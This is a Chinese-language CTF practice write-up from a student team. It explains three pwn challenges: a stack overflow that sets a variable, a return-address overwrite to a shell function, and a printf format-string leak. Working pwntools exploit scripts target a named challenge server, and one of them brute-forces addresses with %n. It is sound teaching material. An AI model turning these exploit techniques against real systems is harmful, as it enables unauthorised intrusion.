0%

2019冬季赛第一周习题练习总结

0x00 前言

冬季赛第一周练习题目完美结束,从周日搭环境(周末每天早出晚归,我感觉我要死了)到现在审核writeup,没有出现什么大问题(我周日下午花了一下午布置题目,测试题目是否能打通,然后,然后,2个小时,2道题目被打穿了,????这里手动@哒君,出的什么题目????,还得让我加班),(其实也不能怪哒君因为)我们18级还是有大佬的(iyzyi牛啤,拿到了3道pwn题目的一血

0x01 练习题目重大时间表

  • 周日下午first try、easy_second_try题目上线
  • 周日晚上iyzyi拿到两道题目的一血
  • 周日晚上printf题目上线
  • 周一晚上给出hint
  • 周一晚上iyzyi拿到printf题目的一血
  • 周一晚上normal(第一周压轴题)上线
  • 截止周二晚上还没有被解出(哒君tql

0x02 最终版writeup by iyzyi

0x00 写在前面

刚开始学pwn,有些地方可能理解的不对,有错误的话希望大家可以指出来,谢谢。

使用到了python2 的一个模块pwn(pip时Ubuntu下是pwn、CentOS7中是pwntools),不能在windows下使用。

python3应该也可以使用pwntools,但我还没有实践过,这里不详细说。

我的环境为Ubuntu16.04,python2.

1
2
3
4
5
6
7
8
9
10
11
12
13
#Ubuntu下安装pwn
apt-get update
apt install python-pip
pip install pwn

#CentOS7下安装pwntools
#http://www.ishenping.com/ArtInfo/234398.html
#https://github.com/facebook/prophet/issues/418
#注意:python2和python3同时存在的,所有pip命令都要加上python2 -m的前缀
#如python2 -m pip install pwntools
yum -y install python-pip
pip install --upgrade setuptools
pip install pwntools

Ubuntu比较适合pwntools,CentOS的坑比较多。推荐Ubuntu哈

0x00 来自pwnht的评论(闲话/补充?????

ubuntu安装的时候也可以安装pwntools

1
pip install pwntools

我之前都不知道有pwn这个库,但是用法是一样的,却是两个库,额,建议pwntools哈,可以从下面来,pwn这个最后一次更新在2014,好像已经停止更新了,而pwntools最后一次更新是在2019(一看 pwntoolsdecription 就比较帅,知道选谁了吧

1572938462520

1572938481627

0x01 first try

1572860587050

32位,用ida打开,按下f5将汇编转换成伪C代码。

0x00 来自pwnht的评论(闲话/补充?????

理论上来说,我们第一步是checksec,一般pwn题目是不加壳的,但是,会有一些程序保护(详情参考的我ppt程序保护部分),幸运的是这几道题目都没保护2333,其实,checksec是有一个脚本的,但是我更喜欢用ipython这个程序,安装ipython

1
sudo apt install ipython

1572939083748

像这样操作,linux里面arch表示程序的是哪种操作系统类型(i386为32位,amd64为64位),然后下面是4种保护,红色表示程序保护没开,绿色表示开启

其实ida也能分辨64位和32位试一试就知道会有标识的

下面是分割线


1572861112066

要想拿到shell,就要满足v6=99(第30行)。

本题存在两处输入,其中第11行的read()函数存在明显的栈溢出。

双击程序中的任意参数或局部变量,均可跳转至所在函数的栈界面:

1572861550853

容易发现,s字符串的长度为0x1C-0x0C=16,而read()函数可以读入50个字符。当读完16个字符后,如果继续输入,程序并不会停止,而是继续将数据读入栈中,这就会覆盖掉其他的数据。比如写入的第17个字符会覆盖掉上图中的var_C.

var_C恰好就是之前的v6。

把鼠标光标放在v6上,就会自动显示v6在栈内的位置。

1572861947922

或者双击下v6。

0x01 来自pwnht的评论(闲话/补充?????

其实这里不用悬停的,或者双击的,因为

1572939698973

滑一下鼠标就可以了,复杂的程序可以悬停,(都行其实2333,怎么快怎么来哈

下面是分割线


上图中的esp是栈顶指针,ebp是栈的基址。

话有些多,直接写脚本吧。

1
2
3
4
5
from pwn import *
p = remote('202.119.201.199', 10000)
payload = 'a'*(0x1c-0x0c) + p32(99)
p.sendline(payload)
p.interactive()

第一行,导入pwn模块

第二行,连接到服务器

第四行,sendline发送payload

第五行,进入交互。此时输入cat flag即可拿到flag

payload的前半部分就是16个字符,写满字符串s,第十七个字节就是我们要修改的v6.

p32()可以将99转换成一个32位的数据。

0x02 来自pwnht的评论(闲话/补充?????

这里注意,写expliot脚本的一个好习惯,遇到 read() 要用 send() 不要用 sendline()

这道题目,两个都行,换其他题目可能会多读一个\n (换行符即’\x0a’), (注意大坑,相信我

还有遇到多次输入的时候,就不能用 send() 函数了,要用 sendafter() 或者 sleep() 来控制流程

附上我的expliot

1
2
3
4
5
6
7
8
#!/usr/bin/env python 
from pwn import *
context.log_level='debug'
io=remote('202.119.201.199',10000)
#io=process('./first')
#gdb.attach(io)
io.sendafter('do you want to change it?(yes|no)\n','a'*0x10+p32(99))
io.interactive()

基本上差不多哈

下面是分割线


0x02 easy_second_try

1572862797345

使用ida64打开

0x00 来自pwnht的评论(闲话/补充?????

同样需要checksec不多说

下面是分割线


1572862841416

主函数输入姓名,输出姓名,就结束了。

同时可以看到read()明显的栈溢出。

1572862917274

上面的s是输入的字符串,下面的s是ebp(此处存疑哈 ),下面的r是函数运行完的返回地址。当这个函数运行完时,程序会跳转至r所储存的地址处,继续运行。

1572432617470

参考阅读《加密与解密》P106.

上图的栈和上上图的栈,顺序是相反的,对照的时候注意下。

函数列表内有个sys函数

1572863298186

1572863306697

可以调用shell.

所以我们通过read()函数,多读入一些字节,将r返回地址覆写为sys的地址,就可以调用这个shell了。

1
2
3
4
5
from pwn import *
p = remote('202.119.201.199', 10002)
payload = 'a'*(0x10+8) + p64(0x400789)
p.sendline(payload)
p.interactive()

payload中,0x10是字符串长度,8是8位的ebp,0x400789是sys的地址,p64将其转换为64位的数据

就酱~

0x00 来自pwnht的评论(闲话/补充?????

同样的问题不在赘述

下面是分割线


0x03 printf

1572928882030

随机一个数字,输入一个数字,二者相等则拿到shell.

第25行存在printf格式化字符串漏洞。

先来看一下相关知识:

我浅显地总结一下:

常见的printf有两(及以上)个参数,如printf("%d", &a);。但其实printf只需要一个参数,printf("%d%d");,需要参数时从栈顶依次读入即可。前面的printf("%d", &a);本质上就是先把a的地址压入栈内,然后printf读栈顶元素并输出。

printf函数的第一个参数就是格式化字符串。

正常的程序,这个格式化字符串应该是写死在代码里的,但是本题printf的那个字符串是我们输入的,所以我们可以通过一些方式来输出一些数据(或写入一些数据)。

1
2
3
4
5
6
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

%x表示输出栈顶的那个十六进制数据,%i$x表示输出偏离栈顶i处的十六进制数据。

我们现来测试下程序运行到printf()处,栈的情况。

did you hear that?输入长度不超过16的字符串即可。然后do you understand输入7个%p,程序输入从栈顶到偏移栈顶7个32位处的7个十六进制数。

1572930088113

第7个参数输出的是%p%p(0x70是p,0x25是%),所以我们确定了输入的%p%p%p%p%p%p%p这个字符串是从栈内偏移7处开始的(ebp+7)。
1572930264700

0x2c处就是我们输入的字符串的起始位置。我们想要知道的那个随机数在0x0C的var_C处。二者偏移量为(0x2c-0x0c)//4=8,除以4是因为这是32位程序。

buf相对栈顶偏移7,var_C相对buf偏移8,即var_C相对栈顶偏移15

不用脚本,直接手撸

1572866025044

拿到随机数0xa08457,转换成十进制数10519639,输进去,拿到shell.

0x00 来自pwnht的评论(闲话/补充?????

你的非预期解呢??????

0x01 来自iyzyi的补充

嗯,这道题在pwnht提示我之前,我不是这么考虑的。

先说一下格式化字符串中的%n。%n的作用是向保存在栈顶的一个地址处写入一个数,这个数是字符串中位于%n前面的字符的数量。%i$n的作用类似,不过是向偏移栈顶i处保存的地址中写入一个数。比如,对照着上上上图,“abc%6$n”就是向0xf770f244处写入3.

但是,一定要注意,对应的栈中的参数必须是一个合法的地址。比如对照着上上上图,“abc%2$n”就是向0x10处写入3。0x10不是个地址,所以程序会崩溃。

有了以上知识,那我就开始说一下我最初的思路,非预期解。应该可以解题,但是成功的概率实在感人。

我是想通过%n向v8处写入一个数,然后我再输入这个数,自然就可以拿到shell.

但是,万万没有想到,这题v8的地址是一直在改变的,根据我的多次测试,其地址大概位于0xff800000到0xffffffff之间。

于是我就想碰撞一下地址。我在程序里写了个地址,假设它就是字符串的地址,再通过偏移量算出v8的地址。如果某一次程序恰好将字符串加载到我假设的地址处,那么我就可以向v8写入相应的字符数量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
for i in range(10000000):
try:
p = remote('202.119.201.199', 10001)
context.log_level = 'debug'
p.sendlineafter('Did you hear that?', 'yes\n')
payload = p32(0xff9594ec+(0x2c-0xc)) + '%7$n'
p.sendlineafter('do you understand?', payload)
p.sendlineafter('just tell me how mang is it!', '4')
except EOFError:
print 'EFO again~~~~~'
pass
else:
if p.recvline_contains('haha, I know you can\'t do it!'):
print 'NO~~~~~~'
continue
p.interactive()

如果%7$n不是向一个合法的地址处写入,程序会timeout: the monitored command dumped core\n,报错EOFError。为了程序的程序化运行,捕捉了这个异常。

如果恰好碰撞到了一个地址,但是又不是我们需要的那个目标地址,程序会按照流程输出haha, I know you can\’t do it! 此时我们使用continue跳过这次碰撞。

对了,说明一下,这个脚本不一定正确哈。我还没有跑出来(跑得CPU都糊了)。有兴趣的可以试试。

为了说明一下成功的概率,我放一个数字:0xffffffff-0xff800000=0x7fffff=2^23=8388608。

0x04 来自pwnht的结语

小学弟整体写的还是比较认真的,值得表扬,一些d地方需要改进,希望采纳,注意文章结构,一道题目要分步骤的,一步写完可不行 2333(iyzyi牛啤拿下本周pwn三个一血